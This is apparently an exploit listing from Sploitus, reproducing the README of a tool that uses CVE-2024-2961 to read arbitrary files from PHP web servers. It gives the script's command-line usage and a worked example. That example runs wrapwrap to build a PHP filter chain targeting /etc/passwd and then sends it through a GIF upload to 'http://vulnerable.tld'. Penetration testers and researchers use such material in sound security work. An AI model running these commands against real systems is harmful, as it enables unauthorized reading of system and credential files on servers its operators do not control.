## https://sploitus.com/exploit?id=54EB2435-78EB-542E-9547-596B4B6A5DA8
# CVE-2024-2961
Uses CVE-2024-2961 to perform an arbitrary file read
## Usage
Use with [wrapwrap](https://github.com/ambionics/wrapwrap) for maximum potency.
```bash
usage: arbitrary-file-read.py [-h] -t TARGET -c CHAIN -ct CONTENT_TYPE [--prefix-len PREFIX_LEN] [--suffix-len SUFFIX_LEN]
options:
-h, --help show this help message and exit
-t TARGET, --target TARGET
The target URL (e.g. http://subdomain.vulnerable.tld) - Don't include any URL path component
-c CHAIN, --chain CHAIN
The filepath of the chain file from wrapwrap (see: https://github.com/ambionics/wrapwrap)
-ct CONTENT_TYPE, --content-type CONTENT_TYPE
The content type that your filter chain pretends to use
--prefix-len PREFIX_LEN
The length of the PREFIX to remove from the file in the response. Ex to remove the "GIF89a\n" header use `--prefix-len 8
--suffix-len SUFFIX_LEN
The length of the SUFFIX to remove from the file in the response
```
## Example (gif upload)
Here's an example of how you might use it with a file upload that accepts GIF images:
```bash
# run wrapwrap to get chain.txt file containing PHP filter chain
python3 wrapwrap.py /etc/passwd 'GIF89a\n' '' 999
# run this tool, providing chain.txt as an argument
python3 ./arbitrary-file-read.py -t 'http://vulnerable.tld' -c ./chain.txt -ct 'image/gif' --prefix-len 9
```